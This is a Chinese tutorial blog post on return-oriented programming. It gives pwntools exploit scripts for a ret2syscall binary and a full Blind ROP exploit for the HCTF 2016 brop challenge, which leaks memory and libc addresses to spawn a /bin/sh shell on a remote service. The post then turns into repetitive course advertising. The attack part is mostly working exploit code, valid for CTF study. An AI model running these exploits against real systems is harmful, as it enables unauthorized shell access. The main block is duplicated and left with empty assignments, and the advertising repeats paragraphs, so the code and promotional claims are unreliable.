返回导向编程ROP
返回导向编程 (英语:Return-Oriented Programming,缩写:ROP)是计算机安全中的一种 漏洞利用技术
,该技术允许攻击者在程序启用了安全保护技术(如堆栈不可执行)的情况下控制程序执行流,执行恶意代码。其核心思想是通过栈溢出等方式控制堆栈调用,以劫持程序控制流并执行针对性的机器语言指令序列(称为
Gadgets )。
所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
栈帧变化
普通ROP:
方法1:
F5反汇编
checksec 查看信息
计算padding
查找gadgets
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'
ROPgadget --binary ret2syscall --only 'int'
ROPgadget --binary ret2syscall --string '/bin/sh'
from pwn import *
p = process('./ret2syscall')
pop_edx = 0x0806eb90
binbash = 0x080be408
pop_eax = 0x080bb196
int_0x80 = 0x08049421
payload = flat(['A' * 112, pop_edx, 0, 0, binbash, pop_eax, 0xb, int_0x80])
p.sendline(payload)
p.interactive()
方法2:
ROPgadget --binary ret2syscall --ropchain
from struct import pack
# Padding goes here
p = b''
p += pack(b'<I', 0x0806eb6a) # pop edx ; ret
p += pack(b'<I', 0x080ea060) # @ .data
p += pack(b'<I', 0x080bb196) # pop eax ; ret
p += b'/bin'
p += pack(b'<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack(b'<I', 0x0806eb6a) # pop edx ; ret
p += pack(b'<I', 0x080ea064) # @ .data + 4
p += pack(b'<I', 0x080bb196) # pop eax ; ret
p += b'//sh'
p += pack(b'<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack(b'<I', 0x0806eb6a) # pop edx ; ret
p += pack(b'<I', 0x080ea068) # @ .data + 8
p += pack(b'<I', 0x08054590) # xor eax, eax ; ret
p += pack(b'<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack(b'<I', 0x080481c9) # pop ebx ; ret
p += pack(b'<I', 0x080ea060) # @ .data
p += pack(b'<I', 0x0806eb91) # pop ecx ; pop ebx ; ret
p += pack(b'<I', 0x080ea068) # @ .data + 8
p += pack(b'<I', 0x080ea060) # padding without overwrite ebx
p += pack(b'<I', 0x0806eb6a) # pop edx ; ret
p += pack(b'<I', 0x080ea068) # @ .data + 8
p += pack(b'<I', 0x08054590) # xor eax, eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x08049421) # int 0x80
from pwn import *
# context.log_level="debug"
sh = process('./ret2syscall')
# print(p)
sh.sendline(b’b’*112 + p)
sh.interactive()
BROP
利用条件
存在稳定触发的栈溢出漏洞。
进程崩溃后,会立即重启,且重启后的内存不会重新随机化。这样及时开启了ASLR也可以利用。
如果开启了PIE,则服务器必须是fork服务器,且不能使用execve。
利用阶段
Stack Reading :
泄露返回地址和canaries。根据返回地址确定加载地址。一个字节一个字节爆破8字节canaries,每个字节有256中可能性。
BROP:远程搜索gadgets,目标是将目标程序从内存写到socket,传回攻击者本地。
通过syscall、call调用类似write、put等函数。
Build EXP:利用gadgets构造的ROP,从内存中拿出来。就可以进行普通ROP攻击了。
例二:HCTF 2016 brop
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
puts("WelCome my friend,Do you know password?");
if(!check()) {
puts("Do not dump my memory");
} else {
puts("No password, no game");
}
}
int check() {
char buf[50];
read(STDIN_FILENO, buf, 1024);
return strcmp(buf, "aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}
出题人GitHub连接https://github.com/zh-explorer/hctf2016-brop
1、爆破溢出长度。每次增加一个字符,如果正常返回说明没有溢出。如果刚好错误,说明已经溢出了。返回溢出值 - 1
def get_buffer_size():
for i in range(100):
payload = "A"
payload += "A" * i
buf_size = len(payload) - 1
try:
p = remote('192.168.190.129', 10001)
p.recvuntil("password?\n")
p.send(payload)
p.recv()
p.close()
log.info("bad: %d" % buf_size)
except EOFError as e:
p.close()
log.info("buffer size: %d" % buf_size)
return buf_size
2、找到一个stop_gadget。这个目的是找到一个类似sleep的函数,程序执行到此会挂在这里。
def get_stop_addr(buf_size):
addr = 0x400000
while 1:
addr += 1
payload = b’b’ * buf_size
payload += p64(addr)
try:
p = get_io()
p.sendline(payload)
p.recv(timeout=1)
p.close()
log.info("stop addr:0x%x" % addr)
return addr
except EOFError as e:
# p.close()
log.info("stop bad 0x%x" % addr)
except:
p.close()
addr -= 1
3、找到一个通用的gadget。目的是操作rdi,通过寄存器rdi进行传值。
而5f c3就是pop rdi;ret,所以pop_rdi = gadget_addr + 9
def get_gadgets_addr(buf_size, stop_addr):
addr = stop_addr
while 1:
# sleep(0.1)
addr += 1
payload = b’b’ * buf_size
payload += p64(addr)
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(4)
payload += p64(5)
payload += p64(6)
try:
io = get_io()
io.sendline(payload + p64(stop_addr))
io.recv(timeout=1)
io.close()
log.info("find address: 0x%x" % addr)
try:
io = get_io()
io.sendline(payload)
io.recv(timeout=1)
io.close()
log.info("bad address 0x%x" % addr)
except:
io.close()
log.info("gadget address:0x%x" % addr)
return addr
except EOFError as e:
io.close()
log.info("bad: 0x%x" % addr)
except:
log.info("can't connect")
addr -= 1
此时堆栈情况
4、找到程序中的puts、write函数。目的是通过这个函数打印程序内存数据、函数地址等。
利用Windows可执行文件 45 5a linux \7fELF方式进行判断是否是真正的put地址。
def get_puts_call_addr(buf_size, stop_addr, gadget_addr):
addr = stop_addr
pop_rdi = gadget_addr + 9
# addr = 0x401190
while 1:
sleep(0.1)
addr += 1
payload = b’b’ * buf_size
payload += p64(pop_rdi)
payload += p64(0x400000)
payload += p64(addr)
payload += p64(stop_addr)
try:
io = get_io()
io.sendline(payload)
# print(str(io.recv()))
elf = io.recv()
if elf.startswith(b"\x7fELF"):
print(elf)
log.info("puts call address: 0x%x" % addr)
io.close()
return addr
log.info("puts bad 0x%x" % addr)
io.close()
except EOFError as e:
io.close()
log.info("puts bad 0x%x" % addr)
except:
log.info("can't connect")
addr -= 1
此时堆栈分析
pdi = 0x400000 == puts(0x400000)
5、dump程序内存,和第四步一样,只是这里确定了函数地址,变化参数值而已。目的是打印函数内存,找到put_got的值
def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret
result = b""
while start_addr < end_addr:
# print result.encode('hex')
# sleep(0.1)
payload = b"A" * buf_size
payload += p64(pop_rdi)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_addr)
try:
p = get_io()
p.sendline(payload)
data = p.recv(timeout=0.1) # timeout makes sure to recive all bytes
if data == "\n":
data = "\x00"
elif data[-1] == "\n":
data = data[:-1]
# log.info("leaking: 0x%x --> %s" % (start_addr, (data or '').encode('hex')))
result += data
start_addr += len(data)
p.close()
print("%d" % (end_addr - start_addr))
except:
# pass
log.info("Can't connect")
return result
- 分析dump的内存
6、根据got地址找到函数地址
def get_puts_addr(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr):
payload = b"A" * buf_size
payload += p64(gadget_addr + 9)
payload += p64(puts_got)
payload += p64(puts_call_addr)
payload += p64(stop_addr)
data = b''
p = get_io()
p.sendline(payload)
data = p.recvline()
data = u64(data[:-1] + b'\x00\x00')
log.info("puts address: 0x%x" % data)
p.close()
return data
puts(puts_got)
7、利用ret2libc中学习的基地址绑定关系,得到system和/bin/sh地址
def leak(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr):
global system_addr, binsh_addr
puts_addr = get_puts_addr(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr)
# 利用libcsearch
# libcSearch = LibcSearcher('puts', puts_addr)
# libc_base = puts_addr - libcSearch.dump('puts')
#
# system_addr = libc_base + libcSearch.dump('system')
# binsh_addr = libc_base + libcSearch.dump('str_bin_sh')
#
# log.info("system 0x%x" % system_addr)
# log.info("system 0x%x" % binsh_addr)
#
# 利用libc.so
libc = ELF('./ubuntu_libc.so.6')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
# binsh_addr = puts_addr - libc.sym['puts'] + 0x186C6C
print(hex(libc.sym['system']))
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
log.info("system 0x%x" % system_addr)
log.info("binsh 0x%x" % binsh_addr)
8、执行system
def pwn(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr):
payload = b’b’ * buf_size
payload += p64(gadget_addr + 9)
payload += p64(binsh_addr)
payload += p64(system_addr)
io = get_io()
io.sendline(payload)
io.interactive()
rdi = /bin/sh
system(“/bin/sh”)
9、执行
if __name__ == "__main__":
# buf_size = get_buffer_size()
buf_size =
# stop_addr = get_stop_addr(buf_size)
stop_addr =
# gadget_addr = get_gadgets_addr(buf_size, stop_addr)
gadget_addr =
# puts_call_addr = get_puts_call_addr(buf_size, stop_addr, gadget_addr)
# puts_call_addr =
puts_call_addr =
#
# data_bin = dump_memory(72,stop_addr,gadget_addr,puts_call_addr,0x400000,0x402000)
# with open('data.bin','wb') as f:
# f.write(data_bin)
# f.close()
# puts_got =
puts_got =
leak(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr)
pwn(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr)
all_addr =
puts_call_addr =
#
# data_bin = dump_memory(72,stop_addr,gadget_addr,puts_call_addr,0x400000,0x402000)
# with open(‘data.bin’,‘wb’) as f:
# f.write(data_bin)
# f.close()
# puts_got =
puts_got =
leak(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr)
pwn(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr)
题外话
初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:
2023届全国高校毕业生预计达到1158万人,就业形势严峻;
国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。
一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。
6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。
2022届大学毕业生月收入较高的前10个专业
本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。
具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yH0lbJrd-1692793757286)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20230809162658551.png)]
“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。
网络安全行业特点
1、就业薪资非常高,涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!
2、人才缺口大,就业机会多
2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
行业发展空间大,岗位非常多
网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。
从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
行业发展空间大,岗位非常多
网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。
从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-irw1ln6q-1692793757288)(C:\Users\Administrator\Desktop\网安思维导图\享学首创年薪40W+网络安全工程师 青铜到王者技术成长路线V4.0.png)]
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tudu1Ayy-1692793757291)(C:\Users\Administrator\Desktop\网安资料截图\视频课件.jpeg)]
(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!